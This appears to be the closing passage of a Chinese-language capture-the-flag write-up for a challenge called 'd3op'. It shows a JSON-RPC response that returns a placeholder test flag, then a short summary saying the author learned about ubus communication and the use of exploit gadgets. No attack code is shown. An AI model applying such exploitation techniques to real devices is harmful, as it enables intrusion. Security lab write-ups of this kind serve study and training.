{"jsonrpc":"2.0","id":null,"result":[0,{"output":"flag{This_is_test_flag}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}]}
至此,d3op复盘结束
总结 学到了很多,ubus的通信,如何优雅的使用gadgets(XD